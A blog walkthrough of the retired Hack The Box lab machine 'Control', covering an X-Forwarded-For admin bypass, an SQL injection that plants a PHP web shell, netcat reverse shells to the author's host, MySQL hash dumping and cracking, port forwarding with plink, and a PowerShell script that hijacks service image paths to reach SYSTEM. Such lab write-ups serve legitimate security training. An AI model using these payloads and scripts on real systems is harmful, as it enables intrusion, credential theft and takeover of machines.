Summary

Control just retired today. I had lots of fun solving it, especially writing a PowerShell service bruteforce script. Its IP address is 10.10.10.167 and I added it to /etc/hosts as control.htb. Without further ado, let’s jump right in!

Scanning & Accessing Admin’s Page

A basic nmap scan was enough to get me started:

root@fury-battlestation:~/htb/blog/control# nmap -sV control.htb -oN scan.txt Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-24 12:57 EDT Nmap scan report for control.htb ( 10.10.10.167 ) Host is up ( 0.17s latency ) . Not shown: 997 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 135/tcp open msrpc Microsoft Windows RPC 3306/tcp open mysql? 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : [ ...] Service Info: OS: Windows ; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done : 1 IP address ( 1 host up ) scanned in 30.27 seconds root@fury-battlestation:~/htb/blog/control#

There were only 3 open ports, and port 80 looked more interesting than the others. When I opened it in a browser, the following page loaded:

Because the site looked custom-made and I accumulated some experience with HTB (see badge at the bottom of the page), I instantly clicked the ‘admin’ button and got the following error page:

The page was talking about a proxy. I assumed that the PHP script checked some headers to verify whether the user is using the proxy or not. However, I did not know the proxy’s IP address, so I continued enumerating. I found the following comment in the main page’s source code:

The proxy was probably located at 192.168.4.28. To get acces to the admin panel, I opened Burp, intercepted the request and added an ‘X-Forwarded-For’ header. After the insertion, the request looked like this:

After forwarding the request, the admin panel loaded:

Manually Exploiing the SQL Injection

There was a list of products which could be viewed, modified and deleted. I assumed the script used an SQL database to store this information and I began testing for injection points. By searching for ‘, I got an error:

Knowing that the backend DB is MariaDB, I captured the request in Burp and tried sending a valid UNION statement. After a few tries, I got the following payload:

productName = a ' UNION ALL SELECT 1,2,3,4,5,6 #

According to the nmap scan, the server was running Widnows. I used this information to create a PHP shell:

productName = a ' UNION ALL SELECT 1,' <?php echo shell_exec ( $_GET [ "yaku" ]) ; ?> ',3,4,5,6 INTO OUTFILE ' C: \\ Inetpub \\ wwwroot \\ yakuhito.php ' #

I then tried to run ‘whoami’ on the target machine to confirm that the injection worked:

Getting a shell this way is usually ok, however, due to the nature of this box, I prefered to use SQLMap to upload a better shell.

Using SQLMap for File Upload

One of the beft features of SQLMap is the ability to parse an HTTP request and test all parameters. You don’t need to specify a host or anything related; SQLMap will figure that out. In my case, the request file (named req.txt) contained the following text:

POST /search_products.php HTTP/1.1 Host: control.htb User-Agent: Mozilla/5.0 ( X11 ; Linux x86_64 ; rv:60.0 ) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml ; q = 0.9, * / * ; q = 0.8 Accept-Language: en-US,en ; q = 0.5 Accept-Encoding: gzip , deflate Referer: http://control.htb/admin.php Content-Type: application/x-www-form-urlencoded Content-Length: 13 Connection: close Upgrade-Insecure-Requests: 1 X-Forwarded-For: 192.168.4.28 Cache-Control: max-age = 0 productName = a

Identifying the injection with SQLMap was pretty straightforward:

root@fury-battlestation:~/htb/blog/control# sqlmap -r req.txt --level 5 --risk 3 --batch ___ __H__ ___ ___[ )] _____ ___ ___ { 1.3.8#stable } |_ -| . [)] | . '| . | |___|_ [' ] _|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user ; s responsibility to obey all applicable local , state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [ * ] starting @ 03:25:40 /2020-04-25/ [ 03:25:40] [ INFO] parsing HTTP request from 'req.txt' [ 03:25:41] [ INFO] testing connection to the target URL [ 03:25:41] [ INFO] checking if the target is protected by some kind of WAF/IPS [ 03:25:41] [ INFO] testing if the target URL content is stable [ 03:25:41] [ INFO] target URL content is stable [ 03:25:41] [ INFO] testing if POST parameter 'productName' is dynamic [ 03:25:42] [ WARNING] POST parameter 'productName' does not appear to be dynamic [ 03:25:42] [ INFO] heuristic ( basic ) test shows that POST parameter 'productName' might be injectable ( possible DBMS: 'MySQL' ) [ 03:25:42] [ INFO] heuristic ( XSS ) test shows that POST parameter 'productName' might be vulnerable to cross-site scripting ( XSS ) attacks [ 03:25:42] [ INFO] testing for SQL injection on POST parameter 'productName' it looks like the back-end DBMS is 'MySQL' . Do you want to skip test payloads specific for other DBMSes? [ Y/n] Y [ 03:25:42] [ INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [ 03:25:42] [ WARNING] reflective value ( s ) found and filtering out [ 03:25:56] [ INFO] testing 'OR boolean-based blind - WHERE or HAVING clause' [ 03:25:57] [ INFO] POST parameter 'productName' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable ( with --string = "36" ) [ 03:25:57] [ INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' [ 03:25:57] [ INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)' [ 03:25:57] [ INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)' [ 03:25:57] [ INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)' [ 03:25:58] [ INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)' [ 03:25:58] [ INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)' [ 03:25:58] [ INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [ 03:25:58] [ INFO] POST parameter 'productName' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable [ 03:25:58] [ INFO] testing 'MySQL inline queries' [ 03:25:58] [ INFO] testing 'MySQL > 5.0.11 stacked queries (comment)' [ 03:26:09] [ INFO] POST parameter 'productName' appears to be 'MySQL > 5.0.11 stacked queries (comment)' injectable [ 03:26:09] [ INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [ 03:26:20] [ INFO] POST parameter 'productName' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable [ 03:26:20] [ INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [ 03:26:20] [ INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other ( potential ) technique found [ 03:26:20] [ INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [ 03:26:21] [ INFO] target URL appears to have 6 columns in query [ 03:26:21] [ INFO] POST parameter 'productName' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable [ 03:26:21] [ WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval POST parameter 'productName' is vulnerable. Do you want to keep testing the others ( if any ) ? [ y/N] N sqlmap identified the following injection point ( s ) with a total of 134 HTTP ( s ) requests: --- Parameter: productName ( POST ) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: productName = -4244 ' OR 7412=7412-- zMrh Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: productName=a' AND ( SELECT 4424 FROM ( SELECT COUNT ( * ) ,CONCAT ( 0x7170706271, ( SELECT ( ELT ( 4424 = 4424,1 ))) ,0x717a767671,FLOOR ( RAND ( 0 ) * 2 )) x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x ) a ) -- shNQ Type: stacked queries Title: MySQL > 5.0.11 stacked queries ( comment ) Payload: productName = a ';SELECT SLEEP(5)#' Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind ( query SLEEP ) Payload: productName = a ' AND (SELECT 4980 FROM (SELECT(SLEEP(5)))OOQu)-- NSXu' Type: UNION query Title: Generic UNION query ( NULL ) - 6 columns Payload: productName = a ' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7170706271,0x785a435a53534c527865757548516b556f634b4345567848456e5158485971625848466b5963765a,0x717a767671),NULL,NULL-- voPu' --- [ 03:26:21] [ INFO] the back-end DBMS is MySQL web server operating system: Windows 10 or 2016 web application technology: Microsoft IIS 10.0, PHP 7.3.7 back-end DBMS: MySQL >= 5.0 [ 03:26:21] [ INFO] fetched data logged to text files under '/root/.sqlmap/output/control.htb' [ 03:26:21] [ WARNING] you haven ; t updated sqlmap for more than 266 days!!! [ * ] ending @ 03:26:21 /2020-04-25/ root@fury-battlestation:~/htb/blog/control#

As I said before, I wanted a more advanced webshell. I usually use this one. I downloaded it to my computer and saved it as ‘yakuplusplus.php’. After that, uploading it to the remote machine took only one command:

root@fury-battlestation:~/htb/blog/control# sqlmap -r req.txt --file-write = "yakuplusplus.php" --file-dest = "C: \\ Inetpub \\ wwwroot \\ yakuplusplus.php" --batch ___ __H__ ___ ___[,]_____ ___ ___ { 1.3.8#stable } |_ -| . [ ] | . | . | |___|_ [ ] _|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user ; s responsibility to obey all applicable local , state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [ * ] starting @ 03:31:46 /2020-04-25/ [ 03:31:46] [ INFO] parsing HTTP request from 'req.txt' [ 03:31:47] [ INFO] resuming back-end DBMS 'mysql' [ 03:31:47] [ INFO] testing connection to the target URL sqlmap resumed the following injection point ( s ) from stored session: --- Parameter: productName ( POST ) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: productName = -4244 ' OR 7412=7412-- zMrh' Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause ( FLOOR ) Payload: productName = a ' AND (SELECT 4424 FROM(SELECT COUNT(*),CONCAT(0x7170706271,(SELECT (ELT(4424=4424,1))),0x717a767671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- shNQ' Type: stacked queries Title: MySQL > 5.0.11 stacked queries ( comment ) Payload: productName = a ';SELECT SLEEP(5)#' Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind ( query SLEEP ) Payload: productName = a ' AND (SELECT 4980 FROM (SELECT(SLEEP(5)))OOQu)-- NSXu' Type: UNION query Title: Generic UNION query ( NULL ) - 6 columns Payload: productName = a ' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7170706271,0x785a435a53534c527865757548516b556f634b4345567848456e5158485971625848466b5963765a,0x717a767671),NULL,NULL-- voPu' --- [ 03:31:47] [ INFO] the back-end DBMS is MySQL web server operating system: Windows 10 or 2016 web application technology: Microsoft IIS 10.0, PHP 7.3.7 back-end DBMS: MySQL >= 5.0 [ 03:31:47] [ INFO] fingerprinting the back-end DBMS operating system [ 03:31:48] [ INFO] the back-end DBMS operating system is Windows [ 03:31:48] [ WARNING] potential permission problems detected ( 'Access denied' ) [ 03:31:58] [ WARNING] time-based comparison requires larger statistical model, please wait............................. ( done ) do you want confirmation that the local file 'yakuplusplus.php' has been successfully written on the back-end DBMS file system ( 'C:/Inetpub/wwwroot/yakuplusplus.php' ) ? [ Y/n] Y [ 03:32:03] [ INFO] the local file 'yakuplusplus.php' and the remote file 'C:/Inetpub/wwwroot/yakuplusplus.php' have the same size ( 7205 B ) [ 03:32:03] [ INFO] fetched data logged to text files under '/root/.sqlmap/output/control.htb' [ 03:32:03] [ WARNING] you haven ; t updated sqlmap for more than 266 days!!! [ * ] ending @ 03:32:03 /2020-04-25/ root@fury-battlestation:~/htb/blog/control#

The new shell was located at /yakuplusplus.php:

A small problem appeared: I couldn’t upload any files to the wwwroot directory because I didn’t have the required permissions. Luckily for me, the wwwroot/uploads directory was writeable. Now that I had an easier way of uploading files and executting commands, I uploaded a netcat binary and created a reverse shell using the following command:

nc.exe 10.10.14.187 443 -e powershell.exe

After executing the command, a reverse shell connected on port 443:

root @ fury-battlestation:~/htb/blog/control # nc -nvlp 443 listening on [ any ] 443 ... connect to [ 10.10.14.187 ] from ( UNKNOWN ) [ 10.10.10.167 ] 59577 Windows PowerShell Copyright ( C ) Microsoft Corporation. All rights reserved. PS C:\inetpub\wwwroot\uploads > whoami whoami nt authority\iusr PS C:\inetpub\wwwroot\uploads >

Getting Hector’s Password

Since the current user had no home directory (meaning no user.txt file), I enumerated the machine’s users:

PS C:\inetpub\wwwroot\uploads > dir C:\Users dir C:\Users Directory: C:\Users Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 11/5/2019 2:34 PM Administrator d----- 11/1/2019 11:09 AM Hector d-r--- 4/24/2020 8:28 PM Public PS C:\inetpub\wwwroot\uploads >

I didn’t have Hector’s password yet, so I started enumerated the config files of the web app and found some credentials:

PS C:\inetpub\wwwroot > type database.php type database.php <? php class Database { private static $dbName = 'warehouse' ; private static $dbHost = 'localhost' ; private static $dbUsername = 'manager' ; private static $dbUserPassword = 'l3tm3!n' ; [ ... ]

Using that password for Hector didn’t work, but it made me realise there could be more accounts for the database. I used SQLMap to test out my theory:

root@fury-battlestation:~/htb/blog/control# sqlmap -r req.txt --level 5 --risk 3 -D mysql -T user --dump ___ __H__ ___ ___[.]_____ ___ ___ { 1.3.8#stable } |_ -| . [ ,] | . | . | |___|_ [ ,]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user ; s responsibility to obey all applicable local , state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [ * ] starting @ 04:05:25 /2020-04-25/ [ 04:05:25] [ INFO] parsing HTTP request from 'req.txt' [ 04:05:25] [ INFO] resuming back-end DBMS 'mysql' [ 04:05:25] [ INFO] testing connection to the target URL sqlmap resumed the following injection point ( s ) from stored session: --- Parameter: productName ( POST ) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: productName = -4244 ' OR 7412=7412-- zMrh' Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause ( FLOOR ) Payload: productName = a ' AND (SELECT 4424 FROM(SELECT COUNT(*),CONCAT(0x7170706271,(SELECT (ELT(4424=4424,1))),0x717a767671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- shNQ' Type: stacked queries Title: MySQL > 5.0.11 stacked queries ( comment ) Payload: productName = a ';SELECT SLEEP(5)#' Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind ( query SLEEP ) Payload: productName = a ' AND (SELECT 4980 FROM (SELECT(SLEEP(5)))OOQu)-- NSXu' Type: UNION query Title: Generic UNION query ( NULL ) - 6 columns Payload: productName = a ' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7170706271,0x785a435a53534c527865757548516b556f634b4345567848456e5158485971625848466b5963765a,0x717a767671),NULL,NULL-- voPu' --- [ 04:05:26] [ INFO] the back-end DBMS is MySQL web server operating system: Windows 10 or 2016 web application technology: Microsoft IIS 10.0, PHP 7.3.7 back-end DBMS: MySQL >= 5.0 [ 04:05:26] [ INFO] fetching columns for table 'user' in database 'mysql' [ 04:05:26] [ INFO] fetching entries for table 'user' in database 'mysql' [ 04:05:26] [ INFO] recognized possible password hashes in columns 'authentication_string, Password' do you want to store hashes to a temporary file for eventual further processing with other tools [ y/N] y [ 04:05:31] [ INFO] writing hashes to a temporary file '/tmp/sqlmapSx4yYp4006/sqlmaphashes-2gMfZG.txt' do you want to crack them via a dictionary-based attack? [ Y/n/q] n Database: mysql Table: user [ 6 entries] +-----------+---------+-----------------------+---------+-------------------------------------------+----------+-----------+-----------+------------+------------+------------+------------+------------+------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+--------------+--------------+--------------+--------------+--------------+--------------+---------------+---------------+----------------+-----------------+-----------------+-----------------+------------------+------------------+------------------+------------------+------------------+--------------------+--------------------+---------------------+---------------------+----------------------+-------------------------------------------+-----------------------+------------------------+ | Host | User | plugin | is_role | Password | ssl_type | Drop_priv | File_priv | Grant_priv | Super_priv | Alter_priv | ssl_cipher | Index_priv | Event_priv | Create_priv | max_updates | Reload_priv | Delete_priv | Insert_priv | x509_issuer | Select_priv | Update_priv | Execute_priv | default_role | Show_db_priv | x509_subject | Process_priv | Trigger_priv | Shutdown_priv | max_questions | Show_view_priv | max_connections | Repl_slave_priv | References_priv | Repl_client_priv | Create_user_priv | password_expired | Create_view_priv | Lock_tables_priv | Alter_routine_priv | max_statement_time | Create_routine_priv | Delete_history_priv | max_user_connections | authentication_string | Create_tmp_table_priv | Create_tablespace_priv | +-----------+---------+-----------------------+---------+-------------------------------------------+----------+-----------+-----------+------------+------------+------------+------------+------------+------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+--------------+--------------+--------------+--------------+--------------+--------------+---------------+---------------+----------------+-----------------+-----------------+-----------------+------------------+------------------+------------------+------------------+------------------+--------------------+--------------------+---------------------+---------------------+----------------------+-------------------------------------------+-----------------------+------------------------+ | localhost | root | mysql_native_password | N | * 0A4A5CAD344718DC418035A1F4D292BA603134D8 | <blank> | Y | Y | Y | Y | Y | <blank> | Y | Y | Y | 0 | Y | Y | Y | <blank> | Y | Y | Y | <blank> | Y | <blank> | Y | Y | Y | 0 | Y | 0 | Y | Y | Y | Y | N | Y | Y | Y | 0.000000 | Y | Y | 0 | * 0A4A5CAD344718DC418035A1F4D292BA603134D8 | Y | Y | | fidelity | root | mysql_native_password | N | * 0A4A5CAD344718DC418035A1F4D292BA603134D8 | <blank> | Y | Y | Y | Y | Y | <blank> | Y | Y | Y | 0 | Y | Y | Y | <blank> | Y | Y | Y | <blank> | Y | <blank> | Y | Y | Y | 0 | Y | 0 | Y | Y | Y | Y | N | Y | Y | Y | 0.000000 | Y | Y | 0 | * 0A4A5CAD344718DC418035A1F4D292BA603134D8 | Y | Y | | 127.0.0.1 | root | mysql_native_password | N | * 0A4A5CAD344718DC418035A1F4D292BA603134D8 | <blank> | Y | Y | Y | Y | Y | <blank> | Y | Y | Y | 0 | Y | Y | Y | <blank> | Y | Y | Y | <blank> | Y | <blank> | Y | Y | Y | 0 | Y | 0 | Y | Y | Y | Y | N | Y | Y | Y | 0.000000 | Y | Y | 0 | * 0A4A5CAD344718DC418035A1F4D292BA603134D8 | Y | Y | | ::1 | root | mysql_native_password | N | * 0A4A5CAD344718DC418035A1F4D292BA603134D8 | <blank> | Y | Y | Y | Y | Y | <blank> | Y | Y | Y | 0 | Y | Y | Y | <blank> | Y | Y | Y | <blank> | Y | <blank> | Y | Y | Y | 0 | Y | 0 | Y | Y | Y | Y | N | Y | Y | Y | 0.000000 | Y | Y | 0 | * 0A4A5CAD344718DC418035A1F4D292BA603134D8 | Y | Y | | localhost | manager | mysql_native_password | N | * CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA | <blank> | N | Y | N | N | N | <blank> | N | N | N | 0 | N | N | N | <blank> | N | N | N | <blank> | N | <blank> | N | N | N | 0 | N | 0 | N | N | N | N | N | N | N | N | 0.000000 | N | N | 0 | * CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA | N | N | | localhost | hector | mysql_native_password | N | * 0E178792E8FC304A2E3133D535D38CAF1DA3CD9D | <blank> | Y | Y | Y | Y | Y | <blank> | Y | Y | Y | 0 | Y | Y | Y | <blank> | Y | Y | Y | <blank> | Y | <blank> | Y | Y | Y | 0 | Y | 0 | Y | Y | Y | Y | N | Y | Y | Y | 0.000000 | Y | Y | 0 | * 0E178792E8FC304A2E3133D535D38CAF1DA3CD9D | Y | Y | +-----------+---------+-----------------------+---------+-------------------------------------------+----------+-----------+-----------+------------+------------+------------+------------+------------+------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+--------------+--------------+--------------+--------------+--------------+--------------+---------------+---------------+----------------+-----------------+-----------------+-----------------+------------------+------------------+------------------+------------------+------------------+--------------------+--------------------+---------------------+---------------------+----------------------+-------------------------------------------+-----------------------+------------------------+ [ 04:05:34] [ INFO] table 'mysql.`user`' dumped to CSV file '/root/.sqlmap/output/control.htb/dump/mysql/user.csv' [ 04:05:34] [ INFO] fetched data logged to text files under '/root/.sqlmap/output/control.htb' [ 04:05:34] [ WARNING] you haven ; t updated sqlmap for more than 266 days!!! [ * ] ending @ 04:05:34 /2020-04-25/ root@fury-battlestation:~/htb/blog/control#

There was a user named hector, so I tried to crack his hash using john:

root@fury-battlestation:~/htb/blog/control# cp /tmp/sqlmapSx4yYp4006/sqlmaphashes-2gMfZG.txt ./hashes.txt root@fury-battlestation:~/htb/blog/control# john --wordlist = /usr/share/wordlists/rockyou.txt ./hashes.txt Using default input encoding: UTF-8 Loaded 3 password hashes with no different salts ( mysql-sha1, MySQL 4.1+ [ SHA1 256/256 AVX2 8x] ) Warning: no OpenMP support for this hash type , consider --fork = 2 Press 'q' or Ctrl-C to abort, almost any other key for status l33th4x0rhector ( ? ) Warning: Only 2 candidates left, minimum 8 needed for performance. 1g 0:00:00:01 DONE ( 2020-04-25 04:07 ) 0.6024g/s 8639Kp/s 8639Kc/s 21136KC/sa6_123.. * 7¡Vamos! Use the "--show" option to display all of the cracked passwords reliably Session completed root@fury-battlestation:~/htb/blog/control#

The password for hector could be ‘l33th4x0rhector’. However, I did not have a way of verifying this credentials (yet).

Becoming Hector

After some more enumeration, I saw that port 5985 was open:

PS C:\inetpub\wwwroot > netstat -ano netstat -ano Active Connections Proto Local Address Foreign Address State PID TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 828 TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 1920 TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4

However, nmap didn’t report it as open. This made me conclude that the port was only opened on localhost. I knew evil-winrm could authenticate as Hector if it could access that port, so I used plink.exe to make it accesible from my machine:

PS C:\inetpub\wwwroot\uploads > . /plink.exe -R 5985:127.0.0.1:5985 10.10.14.187 . /plink.exe -R 5985:127.0.0.1:5985 10.10.14.187 The server ; s host key is not cached in the registry. You have no guarantee that the server is the computer you think it is. The server ; s rsa2 key fingerprint is: ssh-rsa 3072 65:02:37:f8:fb:f6:d7:ea:29:cb:4f:38:58:30:67:18 If you trust this host , enter "y" to add the key to PuTTY ; s cache and carry on connecting. If you want to carry on connecting just once , without adding the key to the cache , enter "n" . If you do not trust this host , press Return to abandon the connection. Store key in cache ? ( y/n ) n login as: yakuhito yakuhito @ 10.10.14.187 ; s password: blog.kuhi.to Linux fury-battlestation 5.2.0-kali2-amd64 #1 SMP Debian 5.2.9-2kali1 (2019-08-22) x86_64 The programs included with the Kali GNU/Linux system are free software ; the exact distribution terms for each program are described in the individual files in /usr/share/doc/ * /copyright. Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY , to the extent permitted by applicable law. Last login: Fri Apr 24 06:57:07 2020 from 10.10.10.167 yakuhito @ fury-battlestation:~ $

I forgot to mention that I uploaded plink.exe using the web shell. The binary can be found on all Kali distributions (run ‘locate plink.exe’ to find it). After forwarding port 5985, any traffic directed to my machine’s port 5985 would be tunneled to Fidelity’s port 5985. This meant that I could finally authenticate as Hector:

root @ fury-battlestation:~/htb/blog/control # git clone https://github.com/Hackplayers/evil-winrm.git Cloning into 'evil-winrm' ... remote: Enumerating objects: 72 , done. remote: Counting objects: 100 % ( 72 /72 ), done. remote: Compressing objects: 100 % ( 58 /58 ), done. remote: Total 772 ( delta 38 ), reused 32 ( delta 14 ), pack-reused 700 Receiving objects: 100 % ( 772 /772 ), 1.92 MiB | 1.33 MiB/s , done. Resolving deltas: 100 % ( 443 /443 ), done. root @ fury-battlestation:~/htb/blog/control # cd evil-winrm/ root @ fury-battlestation:~/htb/blog/control/evil-winrm # ruby evil-winrm.rb -i localhost -u hector -p l33th4x0rhector Evil-WinRM shell v2.3 Info: Establishing connection to remote endpoint * Evil-WinRM * PS C:\Users\Hector\Documents > whoami control\hector * Evil-WinRM * PS C:\Users\Hector\Documents > dir .. \Desktop Directory: C:\Users\Hector\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar --- 11/1/2019 12:33 PM 32 user.txt * Evil-WinRM * PS C:\Users\Hector\Documents >

The user proof starts with ‘d8’ 😉

Bruteforcing my Way to Root

The first interesting thing that I uncovered during enumeration as Hector was his PS history:

* Evil-WinRM * PS C:\Users\Hector\Documents > type C:\Users\Hector\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt get-childitem HKLM:\SYSTEM\CurrentControlset | format-list get-acl HKLM:\SYSTEM\CurrentControlSet | format-list * Evil-WinRM * PS C:\Users\Hector\Documents >

Since the name of the box is Control and Hector looked at the CurrentControlSet registry, I knew that privesc had something to do with it. My theory was that some services might have insecure permissions (e.g. Hector could modify them - this is bad because services are usually started by SYSTEM). To test my theory, I used Microsoft’s accesschk.exe tool:

* Evil-WinRM * PS C:\Users\Hector\Documents > upload . /accesschk.exe Info: Uploading . /accesschk.exe to C:\Users\Hector\Documents\accesschk.exe * Evil-WinRM * PS C:\Users\Hector\Documents > . /accesschk.exe "Hector" -kvuqsv hklm:\System\CurrentControlSet\Services [ ... ] RW HKLM\System\CurrentControlSet\Services\ws2ifsl KEY_ALL_ACCESS RW HKLM\System\CurrentControlSet\Services\ws2ifsl\Parameters KEY_ALL_ACCESS RW HKLM\System\CurrentControlSet\Services\WSearch KEY_ALL_ACCESS RW HKLM\System\CurrentControlSet\Services\WSearchIdxPi KEY_ALL_ACCESS RW HKLM\System\CurrentControlSet\Services\WSearchIdxPi\Performance KEY_ALL_ACCESS RW HKLM\System\CurrentControlSet\Services\wuauserv KEY_ALL_ACCESS RW HKLM\System\CurrentControlSet\Services\wuauserv\Parameters KEY_ALL_ACCESS RW HKLM\System\CurrentControlSet\Services\wuauserv\Security KEY_ALL_ACCESS RW HKLM\System\CurrentControlSet\Services\wuauserv\TriggerInfo [ ... ]

There were lots of services which Hector had access to edit. However, I couldn’t exploit all of them: in order to succesfully become SYSTEM, I needed to change the service’s binary path to a reverse shell (granted by KEY_ALL_ACCESS) and also be able to restart the services (not included in the KEY_ALL_ACCESS permission). Since I couldn’t find a way to see which services I can restart, I just used the scrit below to try and exploit each service:

# I still suck at powershell # Command to be executed on successful exploitation $cmd = "C:\inetpub\wwwroot\uploads

c.exe 10.10.14.187 444 -e powershell.exe" # Create a list of services $otp = . /accesschk.exe "Hector" -kvuqsv hklm:\System\CurrentControlSet\Services $services = $otp . Split ([ Environment ]:: NewLine ) # Lopp through each service foreach ( $service in $services ) { # If the current line is not a service, skip it if ( ! $service . StartsWith ( "RW HKLM" )) { continue } # Validate that the line is indeed a service $name = $service . Split ( "\\" )[ -1 ] . Split ([ Environment ]:: NewLine )[ 0 ] $s = Get-Service -Name $name -ErrorAction SilentlyContinue if ( ! $s ) { continue } echo $service $serv = $service . Split ( " " )[ -1 ] . Split ([ Environment ]:: NewLine )[ 0 ] echo $serv # Attempt to exploit the service: # 1. Change the service's binary path to $cmd # 2. Restart the service if ( $s . Status -eq 'Running' ) { reg add $serv /v ImagePath /t REG_EXPAND_SZ /d " $cmd " /f > a.txt if (( Get-Service -Name $name ) . Status -eq 'Running' ) { Get-Service -Name $name | Stop-Service -ErrorAction SilentlyContinue Write-Host "[STOP] " $name } } elseif ( $s . Status -eq 'Stopped' ) { reg add $serv /v ImagePath /t REG_EXPAND_SZ /d " $cmd " /f > a.txt if (( Get-Service -Name $name ) . Status -eq 'Stopped' ) { Get-Service -Name $name | Start-Service -ErrorAction SilentlyContinue Write-Host "[START] " $name } } }

After uploading and executing the script, a reverse shell connected on port 444 with NT UTHORITY/SYSTEM privileges. The restartable service seemed to be ‘NetSetupSvc’, though I’m not sure if it’s the only one:

PS C:\Windows\system32 > whoami ; hostname ; type c:\users\administrator\desktop\root.txt whoami ; hostname ; type c:\users\administrator\desktop\root.txt nt authority\system Fidelity [ redacted ] PS C:\Windows\system32 >

The first two characters of the root proof are ‘8f’ 😉

If you liked this post and want to support me, please follow me on Twitter 🙂

Until next time, hack the world.

yakuhito, over.